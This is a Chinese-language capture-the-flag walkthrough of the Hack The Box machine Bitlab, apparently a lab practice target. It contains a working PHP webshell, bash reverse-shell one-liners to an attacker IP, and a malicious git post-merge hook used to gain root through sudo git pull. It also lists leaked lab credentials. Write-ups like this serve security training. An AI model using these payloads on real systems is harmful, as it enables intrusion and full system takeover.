【HTB系列】靶機Bitlab的滲透測試

  • 2020 年 2 月 19 日
  • 筆記

0x00 本文目錄

  • 反思與總結
  • 基本信息
  • 滲透測試過程
  • 補充

0x01 反思與總結

1. curl 發送GET參數化請求 2. 對反彈回來的shell進行設置完善 3. 使用git hooks來進行提權

0x02 基本信息

靶機IP地址:10.10.10.114 Kali IP地址:10.10.14.13

0x03 滲透測試過程

端口探測

root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114  Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST  Nmap scan report for 10.10.10.114  Host is up (0.24s latency).  Not shown: 998 filtered ports  PORT   STATE SERVICE VERSION  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)  | ssh‐hostkey:  |   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)  |   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)  |_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)  80/tcp open  http    nginx  | http‐robots.txt: 55 disallowed entries (15 shown)  | / /autocomplete/users /search /api /admin /profile  | /dashboard /projects/new /groups/new /groups/*/edit /users /help  |_/s/ /snippets/new /snippets/*/edit  | http‐title: Sign in xC2xB7 GitLab  |_Requested resource was http://10.10.10.114/users/sign_in  |_http‐trane‐info: Problem with XML parsing of /evox/about  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  Service detection performed. Please report any incorrect results at  https://nmap.org/submit/ .  Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目標靶機開放了80 和 22端口

目錄探測

我們先從80下手,查看下網頁內容

先使用gobuster進行掃描

gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐  2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster

參數介紹:

dir: 表示掃描目錄的模式 -w: 使用的字典 -t: 線程數量 -s: 只顯示響應碼為200,204,301,307,401,403的路徑,因為我們訪問網頁的時候有些位置是不允許我們訪問會被302跳轉到登錄界面

對出現的結果逐一查看,發現除了help外其他的網頁都沒什麼可用信息

漏洞發現

打開help下的bookmarks.html

對這幾個超鏈接逐一查看,發現前面4個連接都只是分別指向hackthebox,Docker,PHP,Node.js的官網並沒有什麼信息

點擊 【Gitlab Login】 時,發現沒反應,但是出現了javascript代碼。

我們打開源碼進行查看

把javascript代碼複製出來放到https://beautifier.io/進行美化並把裏面的HTML實體去除,得到下面的結果

javascript: (function() {      var _0x4b18 = ["x76x61x6Cx75x65", "x75x73x65x72x5Fx6Cx6Fx67x69x6E",  "x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64", "x63x6Cx61x76x65",  "x75x73x65x72x5Fx70x61x73x73x77x6Fx72x64",  "x31x31x64x65x73x30x30x38x31x78"];      document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];      document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];  })()

把_0x4b18裏面的內容翻譯下(十六進制轉字符)

var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password",  "11des0081x"];

那麼下面2行代碼

document[getElementById](user_login)[value] = clave;  document[getElementById](user_password)[value] = 11des0081x;

感覺是賬號密碼的感覺,我們在登錄界面使用console進行嘗試

賬號密碼直接出現並成功登錄

登錄後有2個庫

在deployer中發現index.php,像是一個掛鈎文件,當Profile存儲庫合併了一個新的提交時就會執行命令 切換到 profile目錄 , 並且執行sudo git pull

<?php  $input = file_get_contents("php://input");  $payload  = json_decode($input);  $repo = $payload‐>project‐>name ?? '';  $event = $payload‐>event_type ?? '';  $state = $payload‐>object_attributes‐>state ?? '';  $branch = $payload‐>object_attributes‐>target_branch ?? '';  if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')  {      echo shell_exec('cd ../profile/; sudo git pull'),"n";  }  echo "OKn";

那麼我們只要寫入一個webshell併合併到profile庫中,那麼這個index.php就會把我們的webshell給pull下來

我們創建一個分支

切換到這個分支,然後在這個分支上創建一個webshell

寫入一個webshell,並提交

<?php  if(isset($_REQUEST['cmd'])){          echo "<pre>";          $cmd = ($_REQUEST['cmd']);          system($cmd);          echo "</pre>";          die;  }  ?>

創建合併請求

然後就可以看到我們的webshell就成功合併如mstaer庫

此時應該會被之前的掛鈎文件pull到本地,我們嘗試訪問看看

http://10.10.10.114/profile/dfz.php?cmd=whoami

也可以通過curl來進行命令執行

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'

-G:表示發送GET請求 –data–urlencode:對數據進行URL編碼

這樣我們就拿到了webshell

反彈shell

接下來就是反彈shell

kali先nc先監聽端口

然後用curl反彈,這裡需要注意的是,反彈shell的指令前面還需要用到bash -c

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&  /dev/tcp/10.10.14.13/9001 0>&1'"

反彈回來的shell,會出現字符錯誤,無法編輯vim等問題

輸入下面的指令對反彈回來的shell進行設置,讓後面我們可以正常使用

python ‐c "import pty;pty.spawn('/bin/bash')"  ctrl + z (後台掛起shell)  stty raw ‐echo  fg + 多個回車  stty rows 34 cols 136  export TERM=xterm

這樣我們反彈回來的shell就可以像我們平常用的那個shell一樣了

權限提升

進入之後我們看下sudo -l 有沒有能突破的點

這裡我們可以看到 www-data用戶可以不需要密碼

以root的權限調用git pull 命令

這裡我們可以用git的hook文件來進行提權

在.git/hooks文件中有一些模板,我們可以對照進行編寫

因為sudo運行www-data用戶運行git pull文件

那麼我們找下運行這個命令的時候會觸發哪個hook文件

可以通過下面命令查看

man githooks

可以看到在執行git pull時,會觸發post-merge這個文件

但是在hook文件裏面沒有這個文件,我需要手動創建

但是這個文件夾我們沒有寫的權限

那麼我們把這個文件給重新拷貝一份出來

然後在 /tmp/dfz/profile/.git/hooks/中創建一個 post-merge文件 ,並賦予執行權限

#!/bin/bash  bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

那麼我們接下來做的就是要觸發git pull,在這之前我們需要在倉庫裏面添加一個新的文件,這樣git pull才能有效果,否則就有如下的提示

我們可以直接添加一個文件併合並

kali進行監聽,然後再進行sudo git pull

然後就得到root權限

0x04 補充

還有另一種方法get flag

我們在進入到profile倉庫後可以看到一個TODO

然後我們在

http://10.10.10.114/users/clave/snippets

裏面找到postgresql的代碼片段

可以看到這段代碼在查詢數據,我們可以看下它查詢的是什麼數據

<?php  $db_connection = pg_connect("host=localhost dbname=profiles user=profiles  password=profiles");  $result = pg_query($db_connection, "SELECT * FROM profiles");  var_dump(pg_fetch_all($result));  ?>  array(1) {    [0]=>    array(3) {      ["id"]=>      string(1) "1"      ["username"]=>      string(5) "clave"      ["password"]=>      string(22) "c3NoLXN0cjBuZy1wQHNz=="    }  }

我們嘗試登錄到clave

成功!

同時我們在clave的家目錄下看到一個exe

我們通過scp下載回來

scp [email protected]:RemoteConnection.exe .

使用OD進行調試也可以看到root的賬號密碼

Qf7]8YSV.wDNF*[7d?j&eD4^